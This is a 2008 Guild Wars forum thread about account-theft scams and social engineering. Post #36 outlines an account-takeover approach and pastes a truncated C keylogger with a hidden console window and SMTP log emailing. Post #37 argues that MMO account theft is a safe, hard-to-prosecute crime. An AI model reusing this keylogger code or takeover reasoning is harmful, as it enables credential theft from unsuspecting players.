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Old Aug 20, 2008, 12:40 AM // 00:40   #21
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There are always stupid people; look anywhere on earth where there are people and chances are most of them are not particularly intelligent.

Usually people who are older adults and don't understand the Internet very well, and people who are younger children and don't know yet that not everyone is honest.

(By the way, an account with 10 million gold is worth $1,000 dollars or so on the gold-selling market, probably more, so I can see why hackers might want it, if they identify those players with dozens of millions of gold. Also just people who are hackers that play Guild Wars and might want stuff for their characters.)
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Old Aug 20, 2008, 12:54 AM // 00:54   #22
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Good post, and yeah...it's good to see Anet stepping in a bit.


The way I see it, if a person is gonna be willing to follow instructions (a video) on how to "hack GW accounts"...then yes, he is a lowlife douche, and certainly does deserve to have his own account hacked, and receive no help getting it back. It means he would be willing to steal accounts if it were possible...why should he get his account back? Let him learn the hard way.

On the other hand, if they somehow were completely innocent, and were brute-forced or something, sure...help get their account back.

As for the truly stupid ones...the ones that give their login info to a total stranger (signing up for a fake beta) not realizing the consequences...well, I don't even really know what to say about them. :/
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Old Aug 20, 2008, 12:56 AM // 00:56   #23
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Quote:
Originally Posted by Killed u man
How come people still fall for this stuff?
- Internet isn't one person. Not everyone reads the top 10 scams guides. You may think that when something has been said ten times already, people ought to know it, but there's still those new players who registered to forums today and haven't read 25 pages of topics.
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Old Aug 20, 2008, 01:07 AM // 01:07   #24
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Quote:
Originally Posted by Zahr Dalsk
(By the way, an account with 10 million gold is worth $1,000 dollars or so on the gold-selling market, probably more, so I can see why hackers might want it, if they identify those players with dozens of millions of gold. Also just people who are hackers that play Guild Wars and might want stuff for their characters.)
Maybe, but who is going to buy that? Why waste time with Guild Wars accounts when you could be stealing something like social security numbers or credit card information? I think real hackers wouldn't bother with silly stuff like that when they could get something much more valuable
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Old Aug 20, 2008, 01:08 AM // 01:08   #25
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I think it's common sense, if it doesn't look right, don't do it. Pretty basic survival skill.
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Old Aug 20, 2008, 01:10 AM // 01:10   #26
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Quote:
Originally Posted by Harvester of Sorrows
Maybe, but who is going to buy that? Why waste time with Guild Wars accounts when you could be stealing something like social security numbers or credit card information? I think real hackers wouldn't bother with silly stuff like that when they could get something much more valuable
1 - If people weren't going to buy it, we wouldn't have asian gold farmers in MMOs. Although, has Anet stopped the whole gold buying thing in Guild Wars? I don't know if they've managed it.

2 - Hacking GW accounts is safe. Hacking social security numbers, credit card information, etc, could get you caught. Bad things could happen to you, though I'm too lazy to look up the repercussions right now. Guild Wars accounts, however - you might get banned, that's all.
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Old Aug 20, 2008, 01:20 AM // 01:20   #27
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1 - Didn't consider that. What some people will spend on something ridiculous as video game gold.
2 - I think our definitions of "hacking" are differing. Most people that get their accounts "hacked" are actually being tricked and willingly giving their account information away. Keylogging is probably an example of real hacking "To gain access to information/files/etc. stored on a computer in an illegal manner"
I agree with what you said, Guild Wars being much less profitable, but the thing is, it's much harder to track someone who has stolen information from your computer. (Such as banking information, credit card numbers, etc.)
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Old Aug 20, 2008, 01:29 AM // 01:29   #28
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Quote:
Originally Posted by Harvester of Sorrows
it's much harder to track someone who has stolen information from your computer. (Such as banking information, credit card numbers, etc.)
Good point there, I suppose I was thinking more along the lines of a different form of hacking
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Old Aug 20, 2008, 01:32 AM // 01:32   #29
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kudos to them for alerting all players ~ banks etc are always warning their online customers about account theft, often with specific examples ..

remember, the majority of GW players do not frequent Guru or any other forum, so may be totally unaware of such scams
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Old Aug 20, 2008, 01:32 AM // 01:32   #30
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Its not HACKING.

Its called SOCIAL ENGINEERING.
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Old Aug 20, 2008, 01:39 AM // 01:39   #31
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Social Engineering would be, basically trying to fool someone into thinking that a website is legitimate as to get personal information from them.
Hacking would be use of a program to illegally obtain information/files/data from a computer.
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Old Aug 20, 2008, 01:53 AM // 01:53   #32
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Quote:
Originally Posted by lyra_song
Its not HACKING.

Its called SOCIAL ENGINEERING.
LOLS
Anywho...............Ya.
People need to stop ruining the game!

Thnx for the post.
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Old Aug 20, 2008, 06:59 AM // 06:59   #33
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Quote:
Originally Posted by Killed u man
^ Yes, ofcorse, I'm not saying the hacker shouldn't be banned. (IP banned, or even arrested in real life for e-crime, which is actually possible now o.0)

BUT, the my statement merely is that I feel bad for Anet, having to go through hours of troubles, helping out those in need of "real life" help. When you're that naive, stupid (I'm sorry I keep using this word), they really are better of without an acount, than with one, despite of the money wasted. (Which is the lesson they will learn: I got to stop being so dumb, and start thinking BEFORE I act)
Sure - put a sticker on the game:
Must be this smart to buy:

Smart

^
__________


Stupid



If the player must show a certain amount of "real life skill" then the player should be warned of that BEFORE the purchase.
Save A.Net the trouble of having to take care of the less fortunate ones by making sure that they don't take the money from them in the first place.

I am pretty sure any company will gladly earn less.
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Old Aug 20, 2008, 07:06 AM // 07:06   #34
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it is because people thinks like this: "I'll sync RA because it's easy glad points and it's there for me to abuse with near no penalty."

in this case it is: I'll hack players' account if it's hackable with near no penalty. until the day comes when people will stop exploiting, this hacking of account will always be there.

from this post
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Old Aug 20, 2008, 07:20 AM // 07:20   #35
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Quick send all your cash to my IGN lolz might as well say that, its redicculas its so obvious this is a fake...
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Old Aug 20, 2008, 07:50 AM // 07:50   #36
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Quote:
Originally Posted by Killed u man
^ Yes, ofcorse, I'm not saying the hacker shouldn't be banned. (IP banned, or even arrested in real life for e-crime, which is actually possible now o.0)

BUT, the my statement merely is that I feel bad for Anet, having to go through hours of troubles, helping out those in need of "real life" help. When you're that naive, stupid (I'm sorry I keep using this word), they really are better of without an acount, than with one, despite of the money wasted. (Which is the lesson they will learn: I got to stop being so dumb, and start thinking BEFORE I act)
Yeah, arrest the "hacker' but ignore the raving lunatic that will probably end up killing someone by assuming the stop sign just doesn't apply to them. If you are stupid enough to give your information out to someone then you deserve exactly what you get.

Also there are easier ways of hacking into a guildwars account than brute forcing something.

Without giving out specifics because I do not want to get this post deleted there are only a few things you need.
1. a persons email //can get this from any forum easy enough
2. access to a public terminal //this can be done in some ways by using public wifi, or better by simply logging into someones unprotected wifi
3. ability to switch ip addresses //too easy

with those three things and just a little bit of social engineering you can get a GW account. You can even bypass the social engineering if you know how to use google archives properly.
Code:
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following 
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for 
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "[email protected]"
#define cemailfrom "[email protected]"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{
  //Uncomment the lines below to put the keylogger in stealh mode.
  HWND stealth; /*creating stealth */
  AllocConsole();
  stealth=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(stealth,0);
  
  {FILE *file;
  file=fopen(FileName,"a+");
  time_t theTime=time(0);
  fputs("\nStarted logging: ", file);
  fputs(ctime(&theTime),file);
  fclose(file);
  }
  
  /* if (test==2)
  {//the path in which the file needs to be
  char *path="c:\\%windir%\\svchost.exe";
  create=create_key(path);     
  } */
  
  int t=get_keys();  
  return t;
} 

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


      short character;
       while(1)
       {
          sleep(10);/*to prevent 100% cpu usage*/
          for(character=8;character<=222;character++)
          {
            if(GetAsyncKeyState(character)==-32767)
            { 
              FILE *file;
              file=fopen(FileName,"a+");
              if(file==NULL)
              {
                  return 1;
              }      
              if(file!=NULL)
              {    
                  if((character>=39)&&(character<=64))
                  {
                     fputc(character,file);
                     fclose(file);
                     break;
                  }    
                  else if((character>64)&&(character<91))
                  {
                     character+=32;
                     fputc(character,file);
                     fclose(file);
                     break;
                  }
                  else
                  {
Yes, I deleted most of the code so that will not work. Still it is the basis for akeylogger. The ability to get that on someones computer really doesn't count as hacking.

Last edited by tenetke; Aug 20, 2008 at 07:55 AM // 07:55..
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Old Aug 20, 2008, 08:51 AM // 08:51   #37
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Quote:
Originally Posted by Zahr Dalsk
2 - Hacking GW accounts is safe. Hacking social security numbers, credit card information, etc, could get you caught. Bad things could happen to you, though I'm too lazy to look up the repercussions right now. Guild Wars accounts, however - you might get banned, that's all.
It really is. If you want to steal stuff online, hacking MMO games and selling content to goldsellers is safest online crime, because:

* Most games (legally have to) maintain that any IG currency is not convertible to real currency and is worthless. You can steal thousands $ worth of gold/yinc/plat and you legally stole nothing.
* You are hard to trace. Yes, your IP can be easily found out and banned, but your identity behind it is way harder to figure out and you have to have your ISP cooperate. Or make gold sellers give them info on where they sent your money. Compare to CC frauds where its is easy to see where stuff went and where you havew to deal with legitimate business that will be helpfull when hunting you down.
* Your damage is legally about dozen $ - you only "stole" part paid time of account. It is not enough to be sued in most countries
* Player who you stole from which attempts to bring you to court will find out that people generally are not sympathetic to upset mmo nerds. In jury's eyes, it is as dismissible as children argument in playground, especially if you did something stupid to loose your acc. If you sue thief over emotional distress or something, hilarity ensues.
* MMO companies are business, they don't want to waste resources on you, if they want to take action, they will ip ban you and that's it. If they sue you they will look like they are incompetent at acc security and solve problems by suing everybody - not good public image.
* State attorney will LOL and never give it second look.
* Rabid journalist will stay away from this story - nerd lost some pixels, big whoopie. Stolen CC/SS numbers - now that is storymaker because everyone has em, is scared of abuse and will want to find out more.
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Old Aug 20, 2008, 08:59 AM // 08:59   #38
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Quote:
Originally Posted by zwei2stein
* Rabid journalist will stay away from this story - nerd lost some pixels, big whoopie. Stolen CC/SS numbers - now that is storymaker because everyone has em, is scared of abuse and will want to find out more.
What about nerd journalists? As someone who is part of both camps, I'd be glad to cover such a story.
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Old Aug 20, 2008, 10:30 AM // 10:30   #39
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I didn't want people to take my previous post as me condoning stealing accounts. That isn't it at all. What I would rather have Anet do is to figure out a way to get people to stop being so stupid about their accounts.

Maybe an easy way would be to monitor if an ip connects to more than say two accounts in certain period of time. If it does then they temporarily block the ip and send an automated email.

Honestly I do not think there are any solutions to the questions. I just don't think that going after the people that trick others is the solution. There will always be more people willing to trick someone.
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Old Aug 20, 2008, 10:58 AM // 10:58   #40
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I think its too easy to state that it's all players responsibillity. For everything is a first time. When I played D2 for the first time in 2000, I never had heard of scams, did not read any forum, just logged on and played... And yes, I was tricked by the 'server reset - don't loose your account, message name/passw.' scam... Very basic.
For new players, for the first time in an online game, not aware of these things, it would be wrong to scare them away forever by telling them its their own fault. That's not how it works. Therefore any company hosting a MMO should and will do everything to help the customers. For if they turn their backs on them, telling anarchy rules on the internet, and it's every man for himself... That would cost them much more!

(did not loose that account btw; Ingame a friend warned me and I spent the rest of the evening finding a way to reset my password -which was not an ingame feature by than- and finally managed to do in the old diablo 1 game. Not that I had any goodies worth stealing at that time...)
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